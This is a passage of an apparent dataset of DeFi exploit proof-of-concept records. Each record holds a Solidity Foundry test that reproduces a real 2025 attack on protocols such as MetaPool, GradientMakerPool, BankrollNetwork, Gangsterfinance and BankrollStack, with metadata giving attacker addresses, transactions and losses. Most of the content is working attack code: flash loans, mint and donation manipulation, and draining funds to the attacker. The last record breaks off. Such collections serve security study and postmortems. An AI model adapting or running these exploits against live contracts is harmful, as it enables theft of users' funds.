https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit\n// Twitter Guy : https://x.com/peckshield/status/1934895187102454206\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\naddress constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant MPETH_ADDR = 0x48AFbBd342F64EF8a9Ab1C143719b63C2AD81710;\naddress constant MPETH_TO_ETH_POOL = 0xdF261F967E87B2aa44e18a22f4aCE5d7f74f03Cc;\naddress constant UNISWAP_V3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;\n\ncontract MetaPool is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 22722911 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n MetaPoolExploit exploit = new MetaPoolExploit();\n exploit.start();\n\n uint256 amount = IMpEth(MPETH_ADDR).balanceOf(address(this));\n console.log(\"Attacker mpETH balance After exploit: \", amount);\n }\n\n receive() external payable {}\n}\n\ncontract MetaPoolExploit {\n address attacker;\n constructor() {\n attacker = msg.sender;\n }\n function start() external {\n // Step 1: borrow 200 weth\n address[] memory tokens = new address[](1);\n tokens[0] = WETH_ADDR;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 200 ether;\n IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory data\n ) public {\n IWETH weth = IWETH(payable(WETH_ADDR));\n IMpEth mpEth = IMpEth(MPETH_ADDR);\n IMpEthPool mpEthPool = IMpEthPool(MPETH_TO_ETH_POOL);\n IV3SwapRouter v3SwapRouter = IV3SwapRouter(UNISWAP_V3_ROUTER);\n\n // Step 2: convert 107 weth to eth\n weth.withdraw(107 ether);\n\n // Step 3: convert 107 eth to ~97 mpeth\n uint256 amount = mpEth.depositETH{value: 107 ether}(address(this));\n mpEth.mint(amount, address(this));\n // 97,019,503,948,141,950,925 mpETH\n\n // Step 4: swap mpETH for ETH from mpETH / ETH pool\n mpEth.approve(MPETH_TO_ETH_POOL, type(uint256).max);\n mpEthPool.swapmpETHforETH(97 ether, 0);\n // ~96.36 eth\n mpEthPool.swapmpETHforETH(9.6 ether, 0);\n // ~9.64 eth\n\n // Step 5: swap mpETH for ETH from Uniswap V3 Router\n mpEth.approve(UNISWAP_V3_ROUTER, 1_000_000_000 ether);\n IV3SwapRouter.ExactInputSingleParams memory _params = IV3SwapRouter.ExactInputSingleParams({\n tokenIn: MPETH_ADDR,\n tokenOut: WETH_ADDR,\n fee: 100,\n recipient: address(this),\n amountIn: 10 ether,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n v3SwapRouter.exactInputSingle(_params);\n // 9999023359504975714\n \n // Step 6: ETH -> WETH\n uint256 ethBalance = address(this).balance;\n weth.deposit{value: ethBalance}();\n\n // Step 7: repay flash loan\n IWETH(payable(WETH_ADDR)).transfer(BALANCER_VAULT, 200 ether);\n\n // Step 8: WETH -> ETH\n uint256 wethBalance = IWETH(payable(WETH_ADDR)).balanceOf(address(this));\n IWETH(payable(WETH_ADDR)).withdraw(wethBalance);\n \n // Step 9: send ETH to attacker\n ethBalance = address(this).balance;\n payable(attacker).call{value: ethBalance}(\"\");\n // 8.98 eth\n\n // Step 10: send mpETH to attacker\n uint256 mpEthBalance = IMpEth(MPETH_ADDR).balanceOf(address(this));\n IMpEth(MPETH_ADDR).transfer(attacker, mpEthBalance);\n }\n\n receive() external payable {}\n}\n\ninterface IMpEth is IERC20 {\n function depositETH(address receiver) external payable returns (uint256);\n function mint(uint256 shares, address receiver) external;\n}\n\ninterface IMpEthPool {\n function swapmpETHforETH(uint256 amount, uint256 minAmountOut) external;\n}\n\ninterface IV3SwapRouter {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "MetaPool", "date": "2025-06", "file_name": "MetaPool_exp.sol", "attack_vector": "flash_loan", "content_hash": "ab7cf3bb982dff8c", "collected_at": "2026-01-07T10:59:16.528059", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "25k USD", "total_lost_usd": 25000.0, "attacker_address": "https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98", "attack_contract": "https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136", "vulnerable_contract": "https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710", "attack_tx": "https://etherscan.io/tx/0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69", "postmortem_url": "https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit", "twitter_url": "https://x.com/peckshield/status/1934895187102454206", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "25k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n MetaPoolExploit exploit = new MetaPoolExploit();\n exploit.start();\n\n uint256 amount = IMpEth(MPETH_ADDR).balanceOf(address(this));\n console.log(\"Attacker mpETH balance After exploit: \", amount);\n }\n\n receive() external payable {}\n}\n\ncontract MetaPoolExploit {\n address attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "25k USD", "keyinfo_attacker": "https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98", "keyinfo_attack_contract": "https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710", "keyinfo_attack_tx": "https://etherscan.io/tx/0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69", "analysis_postmortem": "https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit", "analysis_twitter": "https://x.com/peckshield/status/1934895187102454206", "funds_lost_formatted": "$25.0K", "content_richness_score": 9.7, "quality_estimate": "high", "title": "MetaPool Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 5k USD\n// Attacker : https://etherscan.io/address/0x1234567a98230550894bf93e2346a8bc5c3b36e3\n// Attack Contract : https://etherscan.io/address/0xcb4059bb021f4cf9d90267b7961125210cedb792\n// Vulnerable Contract : https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC\n// Attack Tx : https://etherscan.io/tx/0xb5cfa3f86ce9506e2364475dc43c44de444b079d4752edbffcdad7d1654b1f67\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC#code\n\n// @Analysis\n// Post-mortem : https://t.me/defimon_alerts/1340\n// Twitter Guy : N/A\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\ncontract GradientPool is BaseTestWithBalanceLog {\n \n // State variables\n uint256 private constant blocknumToForkFrom = 22765113; // blocknumToForkFrom - 1\n uint256 private constant BORROW_AMOUNT = 3 ether; // 3e18 wei (3000000000000000000)\n uint256 private constant WETH_WITHDRAW_AMOUNT = 1 ether;\n uint256 private constant SWAP_AMOUNT_OUT = 1000 ether; // 1000e18\n uint256 private constant SWAP_AMOUNT_IN_MAX = 1000 ether; // 1000e18\n uint256 private constant LIQUIDITY_AMOUNT = 950 ether; // 950e18\n uint256 private constant WITHDRAW_SHARES = 10000;\n uint256 private constant WETH_DEPOSIT_AMOUNT = 4.010899131704627093 ether; // Precise wei value\n uint256 private constant DEADLINE = 1750657343;\n\n IGradientMarketMakerPool gradientPool = IGradientMarketMakerPool(0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC);\n IMorphoBuleFlashLoan morphoBlue = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\n IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IERC20 gray = IERC20(0xa776A95223C500E81Cb0937B291140fF550ac3E4);\n\n\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(weth);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n morphoBlue.flashLoan(address(weth), BORROW_AMOUNT, \"\");\n }\n\n function onMorphoFlashLoan(uint256 amount, bytes calldata /* data */) external {\n // Approve Morpho for repayment\n weth.approve(address(morphoBlue), BORROW_AMOUNT);\n\n // Withdraw WETH to ETH\n weth.withdraw(WETH_WITHDRAW_AMOUNT);\n\n // Approve Uniswap router for WETH\n weth.approve(address(router), WETH_WITHDRAW_AMOUNT);\n\n // Swap WETH for GRAY on Uniswap\n address[] memory path = new address[](2);\n path[0] = address(weth);\n path[1] = address(gray);\n router.swapTokensForExactTokens(\n SWAP_AMOUNT_OUT,\n SWAP_AMOUNT_IN_MAX,\n path,\n address(this),\n DEADLINE\n );\n \n\n // Approve GradientPool for GRAY\n gray.approve(address(gradientPool), type(uint256).max);\n\n // Provide liquidity to GradientPool with ETH\n uint256 ethAmount = 632090074270700494;\n gradientPool.provideLiquidity{value: ethAmount}(address(gray), LIQUIDITY_AMOUNT, 0);\n \n\n // Withdraw liquidity\n gradientPool.withdrawLiquidity(address(gray), WITHDRAW_SHARES);\n \n\n // Deposit ETH back to WETH for repayment\n weth.deposit{value: WETH_DEPOSIT_AMOUNT}();\n\n }\n\n // Fallback to receive ETH from WETH withdraw\n receive() external payable {}\n}\n\n\ninterface IGradientMarketMakerPool {\n function provideLiquidity(\n address token,\n uint256 tokenAmount,\n uint256 minTokenAmount\n ) external payable;\n\n function withdrawLiquidity(\n address token,\n uint256 shares\n ) external;\n}\n\n\n", "type": "exploit_poc", "protocol": "GradientMakerPool", "date": "2025-06", "file_name": "GradientMakerPool_exp.sol", "attack_vector": "flash_loan", "content_hash": "b2473b698681eb42", "collected_at": "2026-01-07T10:59:16.528116", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "5k USD", "total_lost_usd": 5000.0, "attacker_address": "https://etherscan.io/address/0x1234567a98230550894bf93e2346a8bc5c3b36e3", "attack_contract": "https://etherscan.io/address/0xcb4059bb021f4cf9d90267b7961125210cedb792", "vulnerable_contract": "https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC", "attack_tx": "https://etherscan.io/tx/0xb5cfa3f86ce9506e2364475dc43c44de444b079d4752edbffcdad7d1654b1f67", "postmortem_url": "https://t.me/defimon_alerts/1340", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "5k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n morphoBlue.flashLoan(address(weth), BORROW_AMOUNT, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "5k USD", "keyinfo_attacker": "https://etherscan.io/address/0x1234567a98230550894bf93e2346a8bc5c3b36e3", "keyinfo_attack_contract": "https://etherscan.io/address/0xcb4059bb021f4cf9d90267b7961125210cedb792", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC", "keyinfo_attack_tx": "https://etherscan.io/tx/0xb5cfa3f86ce9506e2364475dc43c44de444b079d4752edbffcdad7d1654b1f67", "analysis_postmortem": "https://t.me/defimon_alerts/1340", "analysis_twitter": "", "funds_lost_formatted": "$5.0K", "content_richness_score": 9.01, "quality_estimate": "high", "title": "GradientMakerPool Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 24.5 WBNB\n// Attacker : https://bscscan.com/address/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52\n// Attack Contract : https://bscscan.com/address/0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2\n// Vulnerable Contract : https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e\n// Attack Tx : https://bscscan.com/tx/0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e#code\n\n// @Analysis\n// Post-mortem : https://x.com/Phalcon_xyz/status/1943518566831296566\n// Twitter Guy : https://x.com/TenArmorAlert/status/1935618109802459464\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\ncontract BankrollNetwork is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 51_715_418 - 1;\n uint256 borrow_amount;\n \n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IUniswapV2Pair pair = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n IBankrollNetworkStack bankRollNetwork = IBankrollNetworkStack(0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e);\n \n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(WBNB);\n }\n\n function testExploit() public balanceLog {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n\n borrow_amount = 2_000 ether;\n pair.swap(0, borrow_amount, address(this), \"0x3030\");\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n \n \n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n WBNB.approve(address(bankRollNetwork), type(uint256).max);\n \n emit log_named_decimal_uint(\"[Before] Attacker bank roll balance\", bankRollNetwork.myTokens(), 0);\n emit log_named_decimal_uint(\"[Before] Attacker bank roll dividends\", bankRollNetwork.myDividends(), 0);\n \n bankRollNetwork.donatePool(1000 ether);\n \n bankRollNetwork.buy(240 ether);\n \n emit log_named_decimal_uint(\"[After] Attacker bank roll balance\", bankRollNetwork.myTokens(), 0);\n emit log_named_decimal_uint(\"[After] Attacker bank roll dividends\", bankRollNetwork.myDividends(), 0);\n \n bankRollNetwork.sell(bankRollNetwork.myTokens());\n \n uint256 topUp = 94064984776383565540;\n WBNB.transfer(address(bankRollNetwork), topUp);\n \n bankRollNetwork.withdraw();\n \n uint256 repay_amount = 2005200000000000000000;\n WBNB.transfer(address(pair), repay_amount);\n}\n\n\t receive() external payable {}\n}\n \n interface IBankrollNetworkStack {\n\tfunction donatePool(uint256 tokenAmount) external; \n\tfunction buy(uint256 tokenAmount) external returns (uint256);\n\tfunction sell(uint256 tokenAmount) external;\n\tfunction myTokens() external view returns (uint256);\n\tfunction myDividends() external view returns (uint256);\n\tfunction withdraw() external;\n}\n \n\n", "type": "exploit_poc", "protocol": "BankrollNetwork", "date": "2025-06", "file_name": "BankrollNetwork_exp.sol", "attack_vector": null, "content_hash": "e8000c8f3cdcb811", "collected_at": "2026-01-07T10:59:16.528172", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "24.5 WBNB", "total_lost_usd": 24.5, "attacker_address": "https://bscscan.com/address/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52", "attack_contract": "https://bscscan.com/address/0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2", "vulnerable_contract": "https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e", "attack_tx": "https://bscscan.com/tx/0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c", "postmortem_url": "https://x.com/Phalcon_xyz/status/1943518566831296566", "twitter_url": "https://x.com/TenArmorAlert/status/1935618109802459464", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "24.5 WBNB", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n\n borrow_amount = 2_000 ether;\n pair.swap(0, borrow_amount, address(this), \"0x3030\");\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "24.5 WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52", "keyinfo_attack_contract": "https://bscscan.com/address/0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e", "keyinfo_attack_tx": "https://bscscan.com/tx/0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c", "analysis_postmortem": "https://x.com/Phalcon_xyz/status/1943518566831296566", "analysis_twitter": "https://x.com/TenArmorAlert/status/1935618109802459464", "funds_lost_formatted": "$24", "content_richness_score": 7.71, "quality_estimate": "medium", "title": "BankrollNetwork Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 16.5k USD\n// Attacker : https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de\n// Attack Contract : https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6\n// Vulnerable Contract : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b\n// Attack Tx : https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : N/A\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\ncontract Gangsterfinance is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 51782713 - 1;\n uint256 borrowAmount = 1020000000000000000;\n \n // Relevant contracts \n address constant BTCB = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;\n address constant CAKE_LP = 0x0b32Ea94DA1F6679b11686eAD47AA4C6bF38cd59;\n address constant TOKEN_VAULT = 0xe968D2E4ADc89609773571301aBeC3399D163c3b;\n\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(BTCB);\n }\n\n function testExploit() public balanceLog {\n IUniswapV2Pair(CAKE_LP).swap(borrowAmount, 0, address(this), new bytes(1));\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n \n uint256 donateAmount = 1000000000000000000;\n uint256 depositAmount = 15720000000000000; \n uint256 repayAmount = 1022652000000000000;\n\n IERC20(BTCB).approve(address(TOKEN_VAULT), borrowAmount);\n\n ITokenVault(TOKEN_VAULT).donate(donateAmount);\n ITokenVault(TOKEN_VAULT).depositTo(address(this), depositAmount);\n ITokenVault(TOKEN_VAULT).resolve(ITokenVault(TOKEN_VAULT).myTokens());\n ITokenVault(TOKEN_VAULT).harvest();\n IERC20(BTCB).transfer(address(CAKE_LP), repayAmount);\n }\n}\n\ninterface ITokenVault {\n \n function donate(uint256 _amount) external;\n function depositTo(address _user, uint256 _amount) external;\n function resolve(uint256 _amount) external;\n function harvest() external;\n function myTokens() external view returns (uint256);\n}\n\n", "type": "exploit_poc", "protocol": "Gangsterfinance", "date": "2025-06", "file_name": "Gangsterfinance_exp.sol", "attack_vector": null, "content_hash": "c289647f9141ca09", "collected_at": "2026-01-07T10:59:16.528221", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "16.5k USD", "total_lost_usd": 16500.0, "attacker_address": "https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de", "attack_contract": "https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6", "vulnerable_contract": "https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b", "attack_tx": "https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "16.5k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n IUniswapV2Pair(CAKE_LP).swap(borrowAmount, 0, address(this), new bytes(1));\n }", "has_exploit_code": true, "keyinfo_total_lost": "16.5k USD", "keyinfo_attacker": "https://bscscan.com/address/0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de", "keyinfo_attack_contract": "https://bscscan.com/address/0x982769c5e5dd77f8308e3cd6eec37da9d8237dc6", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xe968d2e4adc89609773571301abec3399d163c3b", "keyinfo_attack_tx": "https://bscscan.com/tx/0xf34e59e4fe2c9b454d2b73a1a3f3aaf07d484a0c71ff8278b1c068cdedc4b64d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$16.5K", "content_richness_score": 7.26, "quality_estimate": "medium", "title": "Gangsterfinance Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n\n// @KeyInfo - Total Lost : 5k USD\n// Attacker : https://bscscan.com/address/0x172dca3e72e4643ce8b7932f4947347c1e49ba6d\n// Attack Contract : 0x92c56dd0c9eee1da9f68f6e0f70c4a77de7b2b3c\n// Vulnerable Contract : 0x16d0a151297a0393915239373897bCc955882110\n// Attack Tx : https://bscscan.com/tx/0x0706425beba4b3f28d5a8af8be26287aa412d076828ec73d8003445c087af5fd\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x16d0a151297a0393915239373897bCc955882110#code\n\n// @Analysis\n// Post-mortem : https://x.com/Phalcon_xyz/status/1943518566831296566\n// Twitter Guy : https://x.com/TenArmorAlert/status/1935618109802459464\n// Hacking God : https://x.com/Phalcon_xyz/status/1943518566831296566\npragma solidity ^0.8.0;\n\ncontract Bankrollstack is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 51698204 - 1;\n uint256 flashAmount = 28300000000000000000000;\n\n //contracts\n address constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\n address constant PancakeV3Pool = 0x4f3126d5DE26413AbDCF6948943FB9D0847d9818;\n address constant BankrollStack = 0x16d0a151297a0393915239373897bCc955882110; \n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n fundingToken = address(BUSD);\n }\n\n function testExploit() public balanceLog {\n IPancakeV3Pool(PancakeV3Pool).flash(address(this), 0, flashAmount, \"0x00\"); \n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n \n uint256 buyAmount = IERC20(BUSD).balanceOf(address(this));\n uint256 repayAmount = 28302830000000000000000;\n\n IERC20(BUSD).approve(address(BankrollStack), type(uint256).max);\n\n IBankrollStack(BankrollStack).buy(buyAmount);\n uint256 myTokens = IBankrollStack(BankrollStack).myTokens();\n IBankrollStack(BankrollStack).sell(myTokens);\n IBankrollStack(BankrollStack).withdraw();\n IERC20(BUSD).transfer(address(PancakeV3Pool), repayAmount);\n }\n}\n\ninterface IBankrollStack {\n\tfunction donatePool(uint256 tokenAmount) external; \n\tfunction buy(uint256 tokenAmount) external returns (uint256);\n\tfunction sell(uint256 tokenAmount) external;\n\tfunction myTokens() external view returns (uint256);\n\tfunction myDividends() external view returns (uint256);\n\tfunction withdraw() external;\n}\n\n", "type": "exploit_poc", "protocol": "BankrollStack", "date": "2025-06", "file_name": "BankrollStack_exp.sol", "attack_vector": null, "content_hash": "db47a04307148603", "collected_at": "2026-01-07T10:59:16.528266", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "5k USD", "total_lost_usd": 5000.0, "attacker_address": "https://bscscan.com/address/0x172dca3e72e4643ce8b7932f4947347c1e49ba6d", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x0706425beba4b3f28d5a8af8be26287aa412d076828ec73d8003445c087af5fd", "postmortem_url": "https://x.com/Phalcon_xyz/status/1943518566831296566", "twitter_url": "https://x.com/TenArmorAlert/status/1935618109802459464", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "5k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n IPancakeV3Pool(PancakeV3Pool).flash(address(this), 0, flashAmount, \"0x00\"); \n }", "has_exploit_code": true, "keyinfo_total_lost": "5k USD", "keyinfo_attacker": "https://bscscan.com/address/0x172dca3e72e4643ce8b7932f4947347c1e49ba6d", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x0706425beba4b3f28d5a8af8be26287aa412d076828ec73d8003445c087af5fd", "analysis_postmortem": "https://x.com/Phalcon_xyz/status/1943518566831296566", "analysis_twitter": "https://x.com/TenArmorAlert/status/1935618109802459464", "funds_lost_formatted": "$5.0K", "content_richness_score": 6.23, "quality_estimate": "medium", "title": "BankrollStack Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 2M USD\n// Attacker : https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c\n// Attack Contract : https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a\n// Vulnerable Contract : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e\n// Other Similar Attack Tx : \n// - https://app.blocksec.com/explorer/tx/bsc/0x7708aaedf3d408c47b04d62dac6edd2496637be9cb48852000662d22d2131f44\n// - https://app.blocksec.com/explorer/tx/bsc/0xf9025e317ce71bc8c055a511fccf0eb4eafd0b8c613da4d5a8e05e139966d6ff\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1937761064713941187\n// Twitter Guy : https://x.com/TenArmorAlert/status/1937761064713941187\n// Hacking God : N/A\n\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant BEP20UpgradeableProxy = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;\naddress constant OwnedUpgradeabilityProxy = 0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9;\naddress constant TransparentUpgradeableProxy = 0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409;\naddress constant BEP20Token = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;\naddress constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;\naddress constant BEP20Ethereum = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8;\naddress constant owner = 0xB5CB0555A1D28C9DfdbC14017dae131d5c1cc19c;\naddress constant victim = 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87;\naddress constant attacker = 0xd5c6f3B71bCcEb2eF8332bd8225f5F39E56A122c;\n\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 52052680-1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n emit log_named_decimal_uint(\"before attack: balance of attacker\", 